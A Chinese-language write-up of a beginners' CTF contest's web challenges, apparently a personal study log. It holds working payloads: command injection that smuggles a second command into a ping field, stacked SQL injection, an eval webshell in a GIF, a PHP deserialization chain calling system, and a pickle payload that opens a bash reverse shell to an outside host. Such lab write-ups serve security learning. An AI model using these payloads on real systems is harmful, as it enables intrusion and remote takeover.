是近期遇到的最难的新生赛,几乎每个题都有挑战,所以决定记录一番。

Week 1

signin

js脚本里

baby_php

1
?a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

c=1024.1a

php://filter/read=convert.base64-encode/resource=flag

hello_http

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /?query=ctf HTTP/1.1
Host: 124.71.184.68:50012
Content-Length: 14
X-Forwarded-For: 127.0.0.1
Referer: ys.mihoyo.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: HarmonyOS Browser
Origin: http://124.71.184.68:50012
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://124.71.184.68:50012/?query=ctf
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: role=admin
Connection: close

action=getflag

除此之外cookie的role设成admin

repo_leak

这题我做了一中午。。。头晕晕的怎么。。。

首先给出我用着好用的GitHack链接:https://github.com/BugScanTeam/GitHack.git

然后脚本跑一下python2 GitHack.py http://124.71.184.68:50013/.git/

跑完git log --oneline查看历史记录

git diff ea44cb8 8a5b670查看两个版本的不同

或者git reset --hard 8a5b670回到过去查看flag。

ping

一定要看源码!!!

注释给了提示,看到源代码发现过滤了分号空格斜杠和flag,同时地址必须是正确的ipv4

没有斜杠无法看很多目录,我们就手切目录;

空格被过滤了就用${IFS}或者%09制表符代替;f

lag可以构造成fla‘’g,shell特性忽略两个单引号里面的内容

ip=192.168.1.1||cd${IFS}..%26%26cd${IFS}..%26%26cd${IFS}..%26%26cat${IFS}fla''g


看了其他师傅的博客发现还可以这么绕过,太狠了

1
`printf${IFS}"\57"`

Week 2

更难了,我人傻了

ez_sqli

给了很多Hint,照着Hint写就好,我将总结一下自己遇到的问题并且给出payload

  • 如何构造一个报错注入

​ 要么是直接套我下面payload,要么就自己开个mysql试一试语法对不对,不要想当然。。慢慢试

  • 报错注入长度问题

    报错注入常常会显示不全,有两种方式来限制长度

    1.select updatexml(1,concat(0x7e,(select flag from flag limit 0,1),0x7e),1);使用limit字句限制每次查询行数

    2.select updatexml(1,concat(0x7e,mid((select group_concat(flag) from flag),1,31),0x7e),1);limit和mid的逻辑都是指定开始位置和长度

  • concat concat_ws group_concat的区别

    concat和concat_ws都是用来把多个字符串拼接起来的,区别在于ws只用指定一次分割符

    group_concat是用来把多个搜索结果拼成一个字符串的

最终payload如下:

1
id;sEt/**/@a=0xselect updatexml(1,concat(0x7e,mid((select group_concat(flag) from flag),1,31),0x7e),1);;PRepare/**/hello/**/from/**/@a;execute/**/hello;

0x后面到第一个分号需要用16进制编码一下,用来绕过过滤的

/**/是绕空格过滤的

ez_upload

二次渲染加不限制后缀,过程直接看hint给的博客吧:pass-16 二次渲染绕过 - 1ink - 博客园 (cnblogs.com)

重点说说我的gif图片马踩坑之路

一定要选一个靠谱一点的gif,我最开始的gif总是有奇怪bug。换一个以后找不变的位置,往里插php代码,最开始插的是phpinfo,一切正常;把它换成eval($_POST[‘1’])以后就不行了,前端报错显示二次渲染函数不认识这个文件头了,为什么phpinfo可以认识eval就不认识呢,猜测是eval的长度较长,同时我放的位置又靠后,于是我选中了更长的相同内容用来插入eval,成功了,好惨的一上午踩坑。

ez_unserialize

名字叫简单反序列化实际上好难呀

给了很多Hint,照着Hint写就好,我将总结一下自己遇到的问题并且给出payload

  • 不熟悉php反序列化构造pop链

就是我本人嘛,推荐先读一下羽师傅的文章然后吃透这道题

CTF]PHP反序列化总结_ctf php反序列化-CSDN博客

[MRCTF2020]Ezpop(来自buuctf)

这个题的思路图如下

1
2
3
4
5
new Show
->source = new Show
->str = new Test
->p = new Modifier
->var = php://filter/convert.base64-encode/resource=flag.php

这样基本能熟悉构造pop链了

  • 究竟如何使用引用绕过__wakeup

我们为什么要绕过wakeup,因为我们想让expired调用helper的clean,从而实现rce;那什么条件能调用,让expired存在的时候;于是我们将Srorage的store设成一个数组,数组第一个值设为另一个cache的expired的引用,这样当第一次执行set修改内容的时候就将expired设成了非空,于是链条就通畅了(wakeup是反序列化后立即执行的)

  • helper的call究竟是什么意思,怎么构造

当调用一个当前类不存在的方法时,会把函数名作为$name,参数作为$args传入__call。

在这里面就相当于是访问了成员变量func(数组)的name里面的内容,于是我们将func设成这样public $funcs = array("clean"=>"system");,就构造了system函数。

思路如下:

​ ->data = array[“1”=>”new Cache1”,”2”=>”new Cache2”]

new DataObject
->storage = new Storage
->store = &$cache2->expired
->helper = new Helper ->funcs = array[“clean”=>”system”]
->key = ls

完整payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php


class Helper {
public $funcs = array("clean"=>"system");
}

class Cache {
public $key;
public $value;
public $expired;
public $helper;

public function __construct() {
$this->key = "cat /proc/self/environ";
}
}

class Storage {
public $store = array();
}

class DataObject {
public $storage;
public $data;

}

$a = new DataObject();
$b = new Storage();
$c = new Cache();
$d = new Cache();
$e = new Helper();

$d->helper = $e;
$b->store[1] = &$d->expired;
$a->data = array("1"=>$c,"2"=>$d);
$a->storage = $b;

print(urlencode(serialize($a)));
?>

Week 3

notebook

flask的session爆破加pickle反序列化rce

先随便创一个note,然后拿session的值,用flask-unsign爆破

爆破脚本如下

1
2
3
4
5
import os
with open('dict.txt','w') as f:
for i in range(1,10000000):
a=os.urandom(2).hex()
f.write("\"{}\"\n".format(a))

执行

1
flask-unsign --unsign --cookie ".eJwtyt0KgjAYgOFbiZ0PbDrnBA9MFKVW1PzDM79qlkwLihTEe8-g9_DlmVD_eF9fyJ0QNRkBEyi2FFtjy7ow7Nhnhm0gvK5N6ijD_rkVIBc1vswPg_8vEEHEFRTREzRXOhnCtONGVclUB91GxyTbJkNUEnqDoshaPxwXk5Rk_4H-pKGXyzuOohWjjvP7rvE8NM_zF9lHMCE.ZTvG6g.j_hFp3Kp_n7pwyvzmUlIiHlpPwY" --wordlist dict.txt

用反弹shell,生成新cookie

1
flask-unsign --sign --cookie "{'notes': {'5372b3b5-4f71-44d7-86c7-6b29aa358f06': b'''cos\nsystem\n(S'bash -c  \'bash -i >& /dev/tcp/server.natappfree.cc/43403 0>&1\''\ntR.'''}}" --secret 4c79 --no-literal-eval

新cookie粘过去,刷新,发现弹上了,flag在/flag

0xGame{750fdbdf-1155-4cac-818e-8918a6ff0bf4}

听师傅说还有curl外带的方式,明天再试吧。。。

我还有两个flask的session脚本,明天试试到底能不能用,刚才不好用的,只有这个flask-unsign好用。

GoShop

int64溢出,买一个很大的值然后卖一部分就行。